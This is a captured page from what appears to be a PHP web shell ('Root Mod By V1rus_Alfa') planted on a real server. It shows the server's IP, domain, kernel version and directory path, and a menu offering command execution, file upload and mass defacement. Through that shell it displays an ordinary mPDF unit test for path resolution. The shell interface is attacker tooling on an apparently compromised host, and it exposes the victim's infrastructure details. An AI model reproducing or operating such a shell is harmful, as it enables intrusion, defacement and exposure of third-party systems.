���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
vendor
/
misterspelik
/
mpdf
/
tests
/
Mpdf
/
Viewing: GetFullPathTest.php
<?php namespace Mpdf; class GetFullPathTest extends \Yoast\PHPUnitPolyfills\TestCases\TestCase { public function testGetFullPath() { $originalImagePath = $path = __DIR__ . '/../data/img/demo.svg'; $originalImagePath = str_replace("\\", '/', $originalImagePath); //Fix path if on Windows $mpdf = new Mpdf(); $mpdf->basepath = 'http://test.com'; /* Test absolute path is returned */ $mpdf->GetFullPath($path); $this->assertEquals($originalImagePath, $path); /* Test URL is returned using $mpdf->basepath */ $localImage = $path = 'path/for/empty/image.jpg'; $mpdf->GetFullPath($path); $this->assertEquals($mpdf->basepath . $localImage, $path); /* Test URL is returned using $mpdf->basepath */ $localImage2 = $path = '/path/for/empty/image.jpg'; $mpdf->GetFullPath($path); $this->assertEquals($mpdf->basepath . $localImage2, $path); } /** * @dataProvider dataProviderRemoteBasepath */ public function testGetFullPathRemoteBasepath($path, $result, $basePath) { $mpdf = new Mpdf(); $mpdf->basepath = 'http://test.com'; $mpdf->GetFullPath($path, $basePath); $this->assertEquals($result, $path); } /** * @dataProvider dataProviderLocalBasepath */ public function testGetFullPathLocalBasepath($path, $result, $basePath) { $mpdf = new Mpdf(); $mpdf->basepath = '/var/www/test'; $mpdf->GetFullPath($path, $basePath); $this->assertEquals($result, $path); } public function dataProviderRemoteBasepath() { return [ ['simple-path', 'http://test.comsimple-path', null], ['/absolute-path', 'http://test.com/absolute-path', null], ['../relative-path', 'http://test.com/relative-path', null], ['../../../multi-level-relative-path', 'http://test.com/multi-level-relative-path', null], ['https://absolute.url', 'https://absolute.url', null], ['file://local.url', 'file://local.url', null], ]; } public function dataProviderLocalBasepath() { return [ ['simple-path', '/var/www/testsimple-path', null], ['/absolute-path', '/absolute-path', null], ['../relative-path', '/var/www/relative-path', null], ['../../../multi-level-relative-path', '/var/www/multi-level-relative-path', null], // @todo ['https://absolute.url', 'https://absolute.url', null], ['file://local.url', 'file://local.url', null], ]; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa